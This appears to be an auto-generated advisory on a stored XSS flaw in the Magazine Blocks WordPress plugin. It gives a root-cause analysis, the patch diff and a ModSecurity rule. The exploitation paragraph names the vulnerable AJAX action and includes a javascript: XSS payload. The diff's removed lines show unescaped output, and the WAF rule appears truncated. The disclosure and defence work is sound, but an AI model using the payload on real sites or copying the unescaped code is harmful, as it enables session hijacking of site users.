Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 5, 2026

CVE-2026-57650: Magazine Blocks – Blog Designer, Magazine & Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid <= 1.8.3 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57650
Plugin magazine-blocks
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.8.3
Patched Version 1.8.4
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57650:

This vulnerability is a Stored Cross-Site Scripting (XSS) vulnerability in the Magazine Blocks plugin for WordPress, versions up to and including 1.8.3. It allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. These scripts execute whenever a user accesses an injected page.

The root cause is insufficient input sanitization and output escaping across multiple block render functions and the CSS saving endpoint. In the Ajax.php file (line 55-58), the save_block_css() function lacked a capability check (current_user_can(‘edit_post’, $post_id)). This allowed any authenticated user (contributor+) to save arbitrary CSS for any post ID, including those they cannot edit. Additionally, dozens of output points in BlockTypes (Archive.php, BannerPosts.php, CategoryList.php, DateWeather.php, FeaturedCategories.php, FeaturedPosts.php, GridModule.php, NewsTicker.php, PostList.php, PostVideo.php, Slider.php, TabPost.php) did not escape data such as post titles, category names, category counts, author names, archive titles, and block attributes. Specifically, in BannerPosts.php (line 292-301), the post_title_markup attribute was used directly as an HTML tag name without sanitization via tag_escape(). In CategoryList.php (lines 180-190 and elsewhere), category IDs and color styles were not escaped. In Slider.php (line 413-426), the same tag_escape() issue existed, and class attributes like implode(…) were not escaped. The meta_position attribute in FeaturedPosts.php (line 295) and PostList.php (line 260) was also used directly in class attributes.

Exploitation: An attacker with contributor-level access can craft a malicious post or block. For the CSS injection vector, they POST to /wp-admin/admin-ajax.php with action=save_block_css, a post_id of a post they can edit (or any post in the vulnerable version), and css containing a payload like ‘background-image:url(“javascript:alert(‘XSS’)”)’. For XSS via block rendering, they can create a post using Magazine Blocks, setting a block attribute like post_title_markup to ‘script’ or an event handler-based payload. When another user (including an administrator) views the post, the script executes in their browser context.

The patch in version 1.8.4 addresses the vulnerability in two ways. In Ajax.php, it adds a capability check (current_user_can(‘edit_post’, $post_id)) before saving CSS. Across the BlockTypes files, it applies escaping functions (esc_html, esc_attr, esc_url, tag_escape) to all dynamic data points. For example, in BannerPosts.php and Slider.php, tag_escape() is called on post_title_markup before using it as an HTML tag. Category IDs, color styles, and meta positions are now wrapped in esc_attr(). Post titles, author names, archive titles, and category names use esc_html(). Href attributes use esc_url(). These changes ensure that even if a contributor provides malicious input, it will be safely encoded before rendering.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any WordPress user who views the compromised page. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or the installation of backdoors. Contributor-level and above users can target all visitors, including administrators with full site control. The stored nature of the XSS means the payload persists until the content is removed or the plugin is updated.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/magazine-blocks/includes/Ajax.php
+++ b/magazine-blocks/includes/Ajax.php
@@ -55,8 +55,16 @@
 	public function save_block_css() {
 		check_ajax_referer( '_magazine_blocks_nonce', 'security', false );

-		$css            = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : '';
-		$post_id        = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
+		$css     = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : '';
+		$post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error(
+				array( 'message' => __( 'You are not allowed to edit this post.', 'magazine-blocks' ) ),
+				403
+			);
+		}
+
 		$has_blocks     = isset( $_POST['has_blocks'] ) && wp_unslash( $_POST['has_blocks'] );
 		$filename       = "magazine-blocks-css-$post_id.css";
 		$upload_dir_url = wp_upload_dir();
--- a/magazine-blocks/includes/BlockTypes/Archive.php
+++ b/magazine-blocks/includes/BlockTypes/Archive.php
@@ -58,13 +58,13 @@
 			}
 		} elseif ( is_author() ) {
 			// For author archives.
-			$html .= '<h2>' . get_the_author() . '</h2>';
+			$html .= '<h2>' . esc_html( get_the_author() ) . '</h2>';
 		} elseif ( is_date() ) {
 			// For date archives.
-			$html .= '<h2>' . get_the_archive_title() . '</h2>';
+			$html .= '<h2>' . esc_html( get_the_archive_title() ) . '</h2>';
 		} else {
 			// For other archive types.
-			$html .= '<h2>' . get_the_archive_title() . '</h2>';
+			$html .= '<h2>' . esc_html( get_the_archive_title() ) . '</h2>';
 		}

 		// Close the div.
--- a/magazine-blocks/includes/BlockTypes/BannerPosts.php
+++ b/magazine-blocks/includes/BlockTypes/BannerPosts.php
@@ -292,12 +292,13 @@
 		$image = $this->render_featured_image( $post_id, $attributes['hover_animation'] );

 		// Get post title.
+		$tag   = tag_escape( $attributes['post_title_markup'] );
 		$title = sprintf(
 			'<%s class="mzb-post-title"><a href="%s">%s</a></%s>',
-			$attributes['post_title_markup'],
+			$tag,
 			esc_url( get_the_permalink( $post_id ) ),
-			get_the_title( $post_id ),
-			$attributes['post_title_markup']
+			esc_html( get_the_title( $post_id ) ),
+			$tag
 		);

 		// Get categories if enabled.
--- a/magazine-blocks/includes/BlockTypes/CategoryList.php
+++ b/magazine-blocks/includes/BlockTypes/CategoryList.php
@@ -158,7 +158,7 @@
 			$classes[] = 'separator';
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		foreach ( $categories as $category ) {
 			$html .= $this->render_category( $category, $attributes );
@@ -180,7 +180,7 @@
 		$cat_id         = $category->term_id;
 		$advanced_style = $attributes['advanced_style'];

-		$html = sprintf( '<div class="mzb-post mzb-%s">', $cat_id );
+		$html = sprintf( '<div class="mzb-post mzb-%s">', esc_attr( $cat_id ) );

 		// Handle different layout styles.
 		if ( 'layout-1-style-2' === $advanced_style ) {
@@ -213,18 +213,18 @@

 		$color_style = '';
 		if ( function_exists( 'colormag_category_color' ) ) {
-			$color_style = 'style="background-color:' . colormag_category_color( $cat_id ) . ';"';
+			$color_style = 'style="background-color:' . esc_attr( colormag_category_color( $cat_id ) ) . ';"';
 		}

 		return '
 			<div class="mzb-title-wrapper" ' . $background_style . '>
 				<div class="mzb-title" ' . $color_style . '>
 					<span class="mzb-post-categories">
-						<a href="' . get_category_link( $cat_id ) . '">' . esc_html( $category->name ) . '</a>
+						<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->name ) . '</a>
 					</span>
 					<div class="mzb-post-count-wrapper">
 						<div class="mzb-post-count">
-							<a href="' . get_category_link( $cat_id ) . '">' . $category->category_count . ' Posts</a>
+							<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->category_count ) . ' Posts</a>
 						</div>
 					</div>
 				</div>
@@ -246,24 +246,24 @@

 		$color_style = '';
 		if ( function_exists( 'colormag_category_color' ) ) {
-			$color_style = 'style="background-color:' . colormag_category_color( $cat_id ) . ';"';
+			$color_style = 'style="background-color:' . esc_attr( colormag_category_color( $cat_id ) ) . ';"';
 		}

 		$html  = '<div class="mzb-title-wrapper" ' . $background_style . '>';
 		$html .= '<div class="mzb-title">';
 		$html .= '<span class="mzb-post-categories">';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '">' . esc_html( $category->name ) . '</a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->name ) . '</a>';
 		$html .= '</span>';
 		$html .= '<div class="mzb-post-count-wrapper">';
 		$html .= '<div class="mzb-post-count">';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '">' . $category->category_count . ' Posts</a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->category_count ) . ' Posts</a>';
 		$html .= '</div>';
 		$html .= '</div>';
 		$html .= '</div>';
 		$html .= '<div class="mzb-overlay"></div>';
 		if ( $attributes['enable_icon'] ) {
 			$html .= '<div class="mzb-list-icon">';
-			$html .= '<a href="' . get_category_link( $cat_id ) . '">' . $attributes['icon'] . '</a>';
+			$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . $attributes['icon'] . '</a>';
 			$html .= '</div>';
 		}
 		$html .= '</div>';
@@ -290,17 +290,17 @@
 		$html .= '<div class="mzb-title-with-icon">';
 		$html .= '<div class="mzb-title">';
 		$html .= '<span class="mzb-post-categories">';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '">' . esc_html( $category->name ) . '</a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->name ) . '</a>';
 		$html .= '</span>';
 		$html .= '<div class="mzb-post-count-wrapper">';
 		$html .= '<div class="mzb-post-count">';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '">' . $category->category_count . ' Posts</a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->category_count ) . ' Posts</a>';
 		$html .= '</div>';
 		$html .= '</div>';
 		$html .= '</div>';
 		if ( $attributes['enable_icon'] ) {
 			$html .= '<div class="mzb-list-icon">';
-			$html .= '<a href="' . get_category_link( $cat_id ) . '">' . $attributes['icon'] . '</a>';
+			$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . $attributes['icon'] . '</a>';
 			$html .= '</div>';
 		}
 		$html .= '</div>';
@@ -322,18 +322,18 @@

 		$color_style = '';
 		if ( function_exists( 'colormag_category_color' ) ) {
-			$color_style = 'style="background-color:' . colormag_category_color( $cat_id ) . ';"';
+			$color_style = 'style="background-color:' . esc_attr( colormag_category_color( $cat_id ) ) . ';"';
 		}

 		$html  = '<div class="mzb-title-wrapper" ' . $background_style . '>';
 		$html .= '<span class="mzb-post-categories">';
 		// $html .= $attributes['enable_icon'] ? '<span class="mzb-list-icon">' . $attributes['icon'] . '</span>' : '';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '" ' . $color_style . '>' . esc_html( $category->name ) . '</a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '" ' . $color_style . '>' . esc_html( $category->name ) . '</a>';
 		$html .= '</span>';
 		$html .= '</div>';
 		$html .= '<div class="mzb-post-count-wrapper">';
 		$html .= '<div class="mzb-post-count">';
-		$html .= '<a href="' . get_category_link( $cat_id ) . '">' . $category->category_count . ' <span class="mzb-post-count-text">Posts</span></a>';
+		$html .= '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">' . esc_html( $category->category_count ) . ' <span class="mzb-post-count-text">Posts</span></a>';
 		$html .= '</div>';
 		$html .= '</div>';

--- a/magazine-blocks/includes/BlockTypes/DateWeather.php
+++ b/magazine-blocks/includes/BlockTypes/DateWeather.php
@@ -42,7 +42,7 @@
 		// The Loop.
 		$html = '';

-		$html .= '<div class="mzb-date-weather mzb-date-weather-' . $client_id . '">';
+		$html .= '<div class="mzb-date-weather mzb-date-weather-' . esc_attr( $client_id ) . '">';
 		$html .= '<span class="mzb-weather-icon">' . $get_icon . '</span>';

 		// Temperature with default.
--- a/magazine-blocks/includes/BlockTypes/FeaturedCategories.php
+++ b/magazine-blocks/includes/BlockTypes/FeaturedCategories.php
@@ -201,7 +201,7 @@

 		$html = sprintf(
 			'<div class="mzb-category-%d-posts mzb-%s">',
-			$category_num,
+			esc_attr( $category_num ),
 			esc_attr( $attributes['post_box_style'] )
 		);

--- a/magazine-blocks/includes/BlockTypes/FeaturedPosts.php
+++ b/magazine-blocks/includes/BlockTypes/FeaturedPosts.php
@@ -257,7 +257,7 @@
 			$classes[] = 'mzb-post-col--full';
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render posts.
 		$index = 1;
@@ -295,7 +295,7 @@
 			$html .= $this->render_featured_image_with_meta( $post_id, $attributes, $index, $is_highlighted );
 		}

-		$html .= '<div class="mzb-post-content' . ( $attributes['meta_position'] ? ' mzb-meta-position--' . $attributes['meta_position'] : '' ) . '">';
+		$html .= '<div class="mzb-post-content' . ( $attributes['meta_position'] ? ' mzb-meta-position--' . esc_attr( $attributes['meta_position'] ) : '' ) . '">';

 		// Render out-image meta.
 		$html .= $this->render_out_image_meta( $post_id, $attributes, $index, $is_highlighted );
@@ -371,7 +371,7 @@

 		$html = sprintf(
 			'<div class="%s"><a href="%s" title="%s"><img src="%s" alt="%s"/></a>',
-			implode( ' ', array_filter( $classes ) ),
+			esc_attr( implode( ' ', array_filter( $classes ) ) ),
 			esc_url( get_the_permalink( $post_id ) ),
 			esc_attr( get_the_title( $post_id ) ),
 			esc_url( $src ),
@@ -474,7 +474,7 @@
 			$classes[] = 'mzb-meta-separator--' . $attributes['meta_separator'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', $classes ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', $classes ) ) );

 		if ( $attributes['enable_author'] ) {
 			$html .= $this->render_author( $post_id, $attributes['enable_icon'] );
--- a/magazine-blocks/includes/BlockTypes/GridModule.php
+++ b/magazine-blocks/includes/BlockTypes/GridModule.php
@@ -208,9 +208,11 @@
 			'mzb-' . $attributes['advanced_style'],
 		);
 		// Render start.
-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );
 		// Render heading section.
-		$html .= $this->render_heading( $attributes, 'top' );
+		if ( $attributes['enable_view_more'] && 'top' === $attributes['view_button_position'] ) {
+			$html .= $this->render_heading( $attributes, 'top' );
+		}

 		// Render posts container.
 		$html .= $this->render_posts_container( $query, $attributes );
@@ -249,7 +251,7 @@
 			'mzb-number-list__' . $attributes['number_position_style'],
 		);

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render posts.
 		while ( $query->have_posts() ) {
@@ -317,7 +319,7 @@

 		$html = sprintf(
 			'<div class="%s"><a href="%s" title="%s"><img src="%s" alt="%s"/><div class="mzb-overlay"></div></a>',
-			implode( ' ', $classes ),
+			esc_attr( implode( ' ', $classes ) ),
 			esc_url( get_the_permalink( $post_id ) ),
 			esc_attr( get_the_title( $post_id ) ),
 			esc_url( $src ),
@@ -392,36 +394,6 @@
 	}

 	/**
-	 * Render post content with meta at bottom.
-	 *
-	 * @param int   $post_id Post ID.
-	 * @param array $attributes Block attributes.
-	 * @return string Post content HTML.
-	 */
-	protected function render_post_content_bottom_meta( $post_id, $attributes ) {
-		$html = '<div class="mzb-post-content">';
-
-		// Render out-image meta for layout-2.
-		if ( 'layout-2' !== $attributes['layout'] || 'out-image' === $attributes['category_position'] ) {
-			$html .= $this->render_out_image_meta( $post_id, $attributes );
-		}
-
-		// Render title.
-		if ( $attributes['enable_post_title'] ) {
-			$html .= $this->render_post_title( $post_id, $attributes['tag_name'] );
-		}
-
-		// Render meta information.
-		if ( $this->has_meta_content( $attributes ) ) {
-			$html .= $this->render_meta_section( $post_id, $attributes );
-		}
-
-		$html .= '</div>';
-
-		return $html;
-	}
-
-	/**
 	 * Render meta outside image.
 	 *
 	 * @param int   $post_id Post ID.
@@ -495,4 +467,34 @@
 			implode( '', $meta_items )
 		);
 	}
+
+	/**
+	 * Render post content with meta at bottom.
+	 *
+	 * @param int   $post_id Post ID.
+	 * @param array $attributes Block attributes.
+	 * @return string Post content HTML.
+	 */
+	protected function render_post_content_bottom_meta( $post_id, $attributes ) {
+		$html = '<div class="mzb-post-content">';
+
+		// Render out-image meta for layout-2.
+		if ( 'layout-2' !== $attributes['layout'] || 'out-image' === $attributes['category_position'] ) {
+			$html .= $this->render_out_image_meta( $post_id, $attributes );
+		}
+
+		// Render title.
+		if ( $attributes['enable_post_title'] ) {
+			$html .= $this->render_post_title( $post_id, $attributes['tag_name'] );
+		}
+
+		// Render meta information.
+		if ( $this->has_meta_content( $attributes ) ) {
+			$html .= $this->render_meta_section( $post_id, $attributes );
+		}
+
+		$html .= '</div>';
+
+		return $html;
+	}
 }
--- a/magazine-blocks/includes/BlockTypes/NewsTicker.php
+++ b/magazine-blocks/includes/BlockTypes/NewsTicker.php
@@ -70,12 +70,12 @@
 				$id    = get_post_thumbnail_id();
 				$src   = wp_get_attachment_image_src( $id );
 				$src   = has_post_thumbnail( get_the_ID() ) ? get_the_post_thumbnail_url( get_the_ID(), 'thumbnail' ) : '';
-				$image = $src ? '<div class="mzb-featured-image"><a href="' . esc_url( get_the_permalink() ) . '"alt="' . get_the_title() . '"/><img src="' . esc_url( $src ) . '" alt="' . get_the_title() . '"/> </a></div>' : '';
+				$image = $src ? '<div class="mzb-featured-image"><a href="' . esc_url( get_the_permalink() ) . '"alt="' . esc_attr( get_the_title() ) . '"/><img src="' . esc_url( $src ) . '" alt="' . esc_attr( get_the_title() ) . '"/> </a></div>' : '';
 				// Limit title to 60 characters.
 				$title_text      = get_the_title();
 				$truncated_title = strlen( $title_text ) > 60 ? substr( $title_text, 0, 60 ) . '...' : $title_text;

-				$title = '<li><a href="' . esc_url( get_the_permalink() ) . '">' . $truncated_title . '</a></li>';
+				$title = '<li><a href="' . esc_url( get_the_permalink() ) . '">' . esc_html( $truncated_title ) . '</a></li>';
 				$html .= $title;
 			}
 			$html .= '</ul>';
--- a/magazine-blocks/includes/BlockTypes/PostList.php
+++ b/magazine-blocks/includes/BlockTypes/PostList.php
@@ -222,7 +222,7 @@
 			$classes[] = 'mzb-number-list__' . $attributes['number_position'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render posts.
 		$index = 1;
@@ -260,7 +260,7 @@
 			$html .= $this->render_featured_image_with_meta( $post_id, $attributes, $index, false );
 		}

-		$html .= '<div class="mzb-post-content' . ( $attributes['meta_position'] ? ' mzb-meta-position--' . $attributes['meta_position'] : '' ) . '">';
+		$html .= '<div class="mzb-post-content' . ( $attributes['meta_position'] ? ' mzb-meta-position--' . esc_attr( $attributes['meta_position'] ) : '' ) . '">';

 		// Render out-image meta.
 		$html .= $this->render_out_image_meta( $post_id, $attributes, $index, false );
@@ -311,7 +311,7 @@

 		$html = sprintf(
 			'<div class="%s"><a href="%s" title="%s"><img src="%s" alt="%s"/></a>',
-			implode( ' ', array_filter( $classes ) ),
+			esc_attr( implode( ' ', array_filter( $classes ) ) ),
 			esc_url( get_the_permalink( $post_id ) ),
 			esc_attr( get_the_title( $post_id ) ),
 			esc_url( $src ),
@@ -410,7 +410,7 @@
 			$classes[] = 'mzb-meta-separator--' . $attributes['meta_separator'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', $classes ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', $classes ) ) );

 		if ( $attributes['enable_date'] ) {
 			$html .= $this->render_date( $post_id, $attributes['enable_icon'] );
--- a/magazine-blocks/includes/BlockTypes/PostVideo.php
+++ b/magazine-blocks/includes/BlockTypes/PostVideo.php
@@ -169,7 +169,7 @@
 			$classes[] = 'mzb-layout-4-bottom-row-' . $attributes['layout4_bottom_row_count'];
 		}

-		$html  = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html  = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );
 		$html .= $this->render_posts_container( $query, $attributes );
 		$html .= '</div>';

@@ -195,7 +195,7 @@
 			$classes[] = 'mzb-post-col--full';
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render posts.
 		$index      = 1;
@@ -234,7 +234,7 @@
 			$classes[] = 'mzb-first-video--highlight';
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render video section.
 		$html .= $this->render_video_section( $post_id, $attributes );
@@ -385,7 +385,7 @@
 			$classes[] = 'mzb-meta-separator--' . $attributes['meta_separator'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', $classes ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', $classes ) ) );

 		if ( $attributes['enable_author'] ) {
 			$html .= $this->render_author( $post_id, $attributes['enable_icon'] );
--- a/magazine-blocks/includes/BlockTypes/Slider.php
+++ b/magazine-blocks/includes/BlockTypes/Slider.php
@@ -198,7 +198,7 @@
 			'mzb-arrow-horizontal-placement--' . $attributes['arrow_horizontal_placement'],
 		);

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render heading section.
 		$html .= $this->render_heading_section( $attributes );
@@ -325,7 +325,7 @@
 			$attributes['enable_post_box_border'] ? ' mzb-post-box-border' : '',
 		);

-		$html = sprintf( '<div class="%s">', implode( ' ', array_filter( $classes ) ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', array_filter( $classes ) ) ) );

 		// Render featured image.
 		$html .= $this->render_featured_image( $post_id, $attributes );
@@ -368,7 +368,7 @@

 		$html = sprintf(
 			'<div class="%s"><a href="%s" alt="%s"><img src="%s" alt="%s"/></a>',
-			implode( ' ', $classes ),
+			esc_attr( implode( ' ', $classes ) ),
 			esc_url( get_the_permalink( $post_id ) ),
 			esc_attr( get_the_title( $post_id ) ),
 			esc_url( $src ),
@@ -413,13 +413,15 @@
 			'mzb-post-title',
 			$attributes['enable_post_title_border'] ? ' mzb-post-title-border' : '',
 		);
-		$html         .= sprintf(
+		$tag           = tag_escape( $attributes['post_title_markup'] );
+
+		$html .= sprintf(
 			'<%s class="%s"><a href="%s">%s</a></%s>',
-			$attributes['post_title_markup'],
-			implode( ' ', array_filter( $title_classes ) ),
+			$tag,
+			esc_attr( implode( ' ', array_filter( $title_classes ) ) ),
 			esc_url( get_the_permalink( $post_id ) ),
-			get_the_title( $post_id ),
-			$attributes['post_title_markup']
+			esc_html( get_the_title( $post_id ) ),
+			$tag
 		);

 		// Render bottom meta.
@@ -457,7 +459,7 @@
 			$classes[] = 'mzb-meta-separator--' . $attributes['meta_separator_position'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', $classes ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', $classes ) ) );

 		if ( $attributes['enable_author'] ) {
 			$html .= $this->render_author( $post_id, $attributes['enable_icon'] );
@@ -539,7 +541,7 @@
 			'<div class="mzb-view-more%s"><a href="%s"%s%s>
 				<p>%s</p>%s
 			</a></div>',
-			$position ? ' mzb-view-more--' . $position : '',
+			$position ? ' mzb-view-more--' . esc_attr( $position ) : '',
 			esc_url( $href ),
 			$target,
 			$rel,
--- a/magazine-blocks/includes/BlockTypes/TabPost.php
+++ b/magazine-blocks/includes/BlockTypes/TabPost.php
@@ -265,7 +265,7 @@
 			$classes[] = 'mzb-meta-separator--' . $attributes['meta_separator'];
 		}

-		$html = sprintf( '<div class="%s">', implode( ' ', $classes ) );
+		$html = sprintf( '<div class="%s">', esc_attr( implode( ' ', $classes ) ) );

 		if ( $attributes['enable_author'] ) {
 			$html .= $this->render_author( $post_id, $attributes['enable_icon'] );
--- a/magazine-blocks/magazine-blocks.php
+++ b/magazine-blocks/magazine-blocks.php
@@ -4,7 +4,7 @@
  * Description: Craft your beautifully unique and dynamic Magazine, Newspaper website with various beautiful and advanced posts related blocks like Featured Posts, Banner Posts, Grid Module, Tab Posts, and more.
  * Author: WPBlockArt
  * Author URI: https://wpblockart.com/
- * Version: 1.8.3
+ * Version: 1.8.4
  * Requires at least: 5.4
  * Requires PHP: 7.0
  * Text Domain: magazine-blocks
@@ -21,7 +21,7 @@

 defined( 'ABSPATH' ) || exit;

-! defined( 'MAGAZINE_BLOCKS_VERSION' ) && define( 'MAGAZINE_BLOCKS_VERSION', '1.8.3' );
+! defined( 'MAGAZINE_BLOCKS_VERSION' ) && define( 'MAGAZINE_BLOCKS_VERSION', '1.8.4' );
 ! defined( 'MAGAZINE_BLOCKS_PLUGIN_FILE' ) && define( 'MAGAZINE_BLOCKS_PLUGIN_FILE', __FILE__ );
 ! defined( 'MAGAZINE_BLOCKS_PLUGIN_DIR' ) && define( 'MAGAZINE_BLOCKS_PLUGIN_DIR', __DIR__ );
 ! defined( 'MAGAZINE_BLOCKS_PLUGIN_DIR_URL' ) && define( 'MAGAZINE_BLOCKS_PLUGIN_DIR_URL', plugin_dir_url( __FILE__ ) );
--- a/magazine-blocks/vendor/autoload.php
+++ b/magazine-blocks/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitd5dc2f44aa765375650f455d5be069cc::getLoader();
+return ComposerAutoloaderInit45f196cb0b0c7414e06f50f2a541aa8a::getLoader();
--- a/magazine-blocks/vendor/composer/autoload_real.php
+++ b/magazine-blocks/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitd5dc2f44aa765375650f455d5be069cc
+class ComposerAutoloaderInit45f196cb0b0c7414e06f50f2a541aa8a
 {
     private static $loader;

@@ -22,15 +22,15 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInitd5dc2f44aa765375650f455d5be069cc', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit45f196cb0b0c7414e06f50f2a541aa8a', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInitd5dc2f44aa765375650f455d5be069cc', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit45f196cb0b0c7414e06f50f2a541aa8a', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInitd5dc2f44aa765375650f455d5be069cc::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
@@ -51,12 +51,12 @@
         $loader->register(true);

         if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInitd5dc2f44aa765375650f455d5be069cc::$files;
+            $includeFiles = ComposerAutoloadComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a::$files;
         } else {
             $includeFiles = require __DIR__ . '/autoload_files.php';
         }
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequired5dc2f44aa765375650f455d5be069cc($fileIdentifier, $file);
+            composerRequire45f196cb0b0c7414e06f50f2a541aa8a($fileIdentifier, $file);
         }

         return $loader;
@@ -68,7 +68,7 @@
  * @param string $file
  * @return void
  */
-function composerRequired5dc2f44aa765375650f455d5be069cc($fileIdentifier, $file)
+function composerRequire45f196cb0b0c7414e06f50f2a541aa8a($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/magazine-blocks/vendor/composer/autoload_static.php
+++ b/magazine-blocks/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitd5dc2f44aa765375650f455d5be069cc
+class ComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a
 {
     public static $files = array (
         'ace6d88241f812b4accb2d847454aef6' => __DIR__ . '/..' . '/halaxa/json-machine/src/functions.php',
@@ -259,9 +259,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitd5dc2f44aa765375650f455d5be069cc::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitd5dc2f44aa765375650f455d5be069cc::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitd5dc2f44aa765375650f455d5be069cc::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit45f196cb0b0c7414e06f50f2a541aa8a::$classMap;

         }, null, ClassLoader::class);
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-57650
# Blocks exploitation of the save_block_css AJAX endpoint without proper capability
# Rule combines exact path match with action and param inspection
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261950,phase:2,deny,status:403,chain,msg:'CVE-2026-57650 Magazine Blocks Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-57650'"
  SecRule ARGS_POST:action "@streq save_block_css" "chain"
